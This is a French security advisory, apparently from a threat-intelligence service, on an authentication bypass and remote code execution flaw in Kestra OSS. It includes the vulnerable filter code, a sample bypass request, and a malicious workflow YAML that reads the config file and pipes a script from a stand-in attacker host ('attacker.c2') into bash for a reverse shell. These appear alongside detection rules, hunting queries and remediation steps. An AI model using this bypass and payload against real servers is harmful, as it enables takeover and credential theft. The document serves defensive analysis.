Aller au contenu

CVE-2026-49869 : contournement d'authentification et exécution de code à distance dans kestra OSS via suffixe d'URL

HERMES

SCORE DE MENACE HERMES & COMPROMISSION DU MOTEUR D'ORCHESTRATION

Cible : Kestra OSS (Orchestrateur de flux de données et workflows)
Confiance : 99%
98 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 19 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 18 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le score CVSS v3.1 attribue à CVE-2026-49869 la note de 9.8 (Critique) et CVSS v4.0 la note de 10.0 (Critique). Le score de menace Hermes Threat Score lui assigne 98 (CRITIQUE). Cette sévérité maximale reflète une exploitation sans prérequis : il suffit à un attaquant distant d'ajouter le suffixe /configs à un point de terminaison de l'API REST pour contourner intégralement l'authentification, injecter un workflow malveillant avec des tâches script (Bash/Python) et obtenir un shell root dans le conteneur worker.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-49869: Authentication Bypass to Remote Code Execution in Kestra OSS via Path Suffix WhitelistingVULNÉRABILITÉ

Nœuds connectés : 3
Relations sortantes actives
→ affectsCOMPOSANTCPython Interpreter & Standard Library
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in CPython Interpreter & Standard Library documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1552: Unsecured Credentials
90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

Kestra est largement déployé pour orchestrer des pipelines de données critiques (ETL, machine learning, déploiements CI/CD) sur Kubernetes et environnements cloud.

ParamètreSpécification TechniqueContexte Opérationnel
Identifiant CVECVE-2026-49869Référentiel NVD et catalogue CISA KEV
Avis de sécuritéGHSA-5vc5-wxxq-3fjxGitHub Security Advisory
Composant vulnérablekestra-core / AuthenticationFilterFiltre d’interception HTTP Micronaut/Netty
Vecteur réseauHTTP/HTTPS (Port par défaut 8080/TCP)Interface Web et API REST exposées
Cause racineComparaison permissive de suffixe (endsWith)Contournement d’autorisation par manipulation d’URI
Versions affectées< 1.0.45 et 1.1.0 à < 1.3.21Instances de production Kestra OSS
Versions correctives1.0.45 et 1.3.21Correctifs officiels disponibles
Armement & exploitationPoC public et scans automatisés par botnetsDéploiement de cryptomineurs et vol d’identifiants

2. Décomposition technique : mécanique du contournement et RCE

Section intitulée « 2. Décomposition technique : mécanique du contournement et RCE »

A. La logique défaillante dans le filtre d’authentification

Section intitulée « A. La logique défaillante dans le filtre d’authentification »

Dans les versions vulnérables, la classe AuthenticationFilter vérifie si l’accès anonyme est autorisé en inspectant le chemin demandé par le client :

// Logique vulnérable dans Kestra AuthenticationFilter
public boolean isAnonymousAccessAllowed(HttpRequest<?> request) {
String path = request.getPath();
return path.equals("/api/v1/health")
|| path.endsWith("/configs") // Faille : tout chemin se terminant par /configs est exempté !
|| path.startsWith("/ui/");
}

En n’imposant pas une égalité stricte (equals("/api/v1/configs")), toute requête forgée vers des endpoints sensibles peut échapper au contrôle en ajoutant un paramètre ou segment factice /configs :

POST /api/v1/flows/configs HTTP/1.1
Host: kestra.corp.internal:8080
Content-Type: application/x-yaml

Le filtre constate que path.endsWith("/configs") est vrai et transmet directement la requête au contrôleur REST sans exiger d’en-tête Authorization: Bearer <token>.

+----------------------------------------------------------------------------------------------------+
| ARCHITECTURE D'EXPLOITATION CVE-2026-49869 |
+----------------------------------------------------------------------------------------------------+
[Attaquant Distant] [Serveur Kestra (Port 8080)]
│ │
[1] │─── HTTP POST /api/v1/flows/configs (Sans en-tête d'authentification) ─────>│ AuthenticationFilter :
│ Charge utile : Définition YAML de workflow avec scripts shell │ path.endsWith("/configs") == TRUE
│ │ -> Contournement du contrôle JWT !
│ │
[2] │ │ FlowController :
│ │ Enregistre le workflow malveillant
│ │ "backdoor-task" dans le namespace "default"
│ │
[3] │─── HTTP POST /api/v1/executions/default/backdoor-task/configs ────────────>│ Exécution déclenchée sans auth
│ │
[4] │ │ Worker Kestra :
│ │ Exécute /bin/sh -c "curl evil/sh | sh"
│ │ sous l'utilisateur root du conteneur
│ │
[5] │<═══ Reverse Shell / Exfiltration des variables d'environnement et clés ═══│ Prise de contrôle totale (UID 0)
+----------------------------------------------------------------------------------------------------+

Après contournement de l’authentification, l’attaquant soumet un workflow exploitant les plugins standards io.kestra.plugin.scripts.shell.Commands :

id: backdoor-task
namespace: default
tasks:
- id: exec
type: io.kestra.plugin.scripts.shell.Commands
commands:
- id
- cat /app/kestra.yml
- curl -s http://attacker.c2/revshell.sh | bash

Le moteur Kestra planifie et exécute immédiatement le conteneur éphémère ou le processus worker avec des privilèges administrateur complets.


3. Threat intelligence, CISA KEV & exploitation Active

Section intitulée « 3. Threat intelligence, CISA KEV & exploitation Active »
  • Inscription au KEV de la CISA : ajoutée en urgence suite à des campagnes massives de détection automatisée visant les ports 8080 et 80.
  • Groupes APT et botnets : observation de botnets de cryptominage (XMRig) et de scripts automatisés visant l’exfiltration des métadonnées cloud (169.254.169.254 pour AWS/GCP).
  • Rayon d’impact : critique. La compromission d’un serveur d’orchestration livre l’accès direct aux clés d’API cloud, identifiants de bases de données et webhooks d’entreprise.

TactiqueID TechniqueNom de la TechniqueApplication dans l’Exploitation
Accès initialT1190Exploit Public-Facing ApplicationRequête HTTP forgée vers le port Kestra 8080
Évasion de défenseT1556Modify Authentication ProcessFalsification du chemin d’URL pour berner le filtre
ExécutionT1059.004Command and Scripting Interpreter: Unix ShellExécution de commandes arbitraires via le runner shell
Élévation de privilègesT1068Exploitation for Privilege EscalationExécution directe sous le compte root du conteneur
Accès aux identifiantsT1552.001Credentials in FilesLecture des configurations et secrets Kestra

alert http any any -> $HTTP_SERVERS 8080 (
msg:"HERMES DEFENSE - Tentative d'exploitation Kestra Auth Bypass (CVE-2026-49869)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/configs"; endswith;
http.uri; pcre:"/\/api\/v1\/(flows|executions)\/.*\/configs$/i";
classtype:web-application-attack;
sid:202649869;
rev:1;
reference:cve,2026-49869;
)
title: Abus de point de terminaison Kestra OSS par contournement d'authentification
id: a8b9c1d2-4986-4c22-b210-cve202649869-fr
status: production
description: Détecte les requêtes POST suspectes vers les API Kestra avec le suffixe /configs pour contourner l'authentification
author: Équipe Cyberdéfense Hermes Codex
date: 2026-09-11
logsource:
category: webserver
service: kestra_access_log
detection:
selection:
cs_method: 'POST'
cs_uri_stem|endswith: '/configs'
cs_uri_stem|contains:
- '/api/v1/flows'
- '/api/v1/executions'
filter_legit:
cs_uri_stem: '/api/v1/configs'
condition: selection and not filter_legit
fields:
- c_ip
- cs_uri_stem
- sc_status
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.49869

6. Investigation forensique (DFIR) & requêtes de chasse

Section intitulée « 6. Investigation forensique (DFIR) & requêtes de chasse »
  1. Journaux d’accès HTTP : identifier les requêtes POST vers /api/v1/flows/*/configs ou /api/v1/executions/*/configs renvoyant un code 200 ou 201 en l’absence de jeton Bearer valide.
  2. Base de données kestra : inspecter les tables kestra_flows pour identifier tout workflow récemment créé contenant des tâches shell ou Python inconnues.
  3. Arbre des processus du worker :
    Fenêtre de terminal
    pstree -pa $(pgrep -f kestra)
{
"query": {
"bool": {
"must": [
{ "term": { "http.request.method": "POST" } },
{ "wildcard": { "url.path": "*\/api\/v1\/*\/configs" } }
],
"must_not": [
{ "term": { "url.path": "/api/v1/configs" } }
]
}
}
}

  1. Mise à jour immédiate : mettre à niveau Kestra OSS vers la version 1.0.45 (branche 1.0.x) ou 1.3.21 (branche 1.3.x).
  2. Isolement réseau : restreindre l’accès au port d’administration 8080/TCP exclusivement aux réseaux d’administration et passerelles VPN sécurisées ; ne jamais exposer Kestra directement sur l’Internet public.
  3. Exécution non-root : configurer les conteneurs workers Kestra avec des contextes de sécurité restreints (UID non privilégié, readOnlyRootFilesystem: true, drop: ALL).
  4. Renouvellement des secrets : en cas de suspicion de compromission, révoquer et renouveler immédiatement l’intégralité des identifiants cloud, bases de données et tokens stockés dans le coffre-fort Kestra.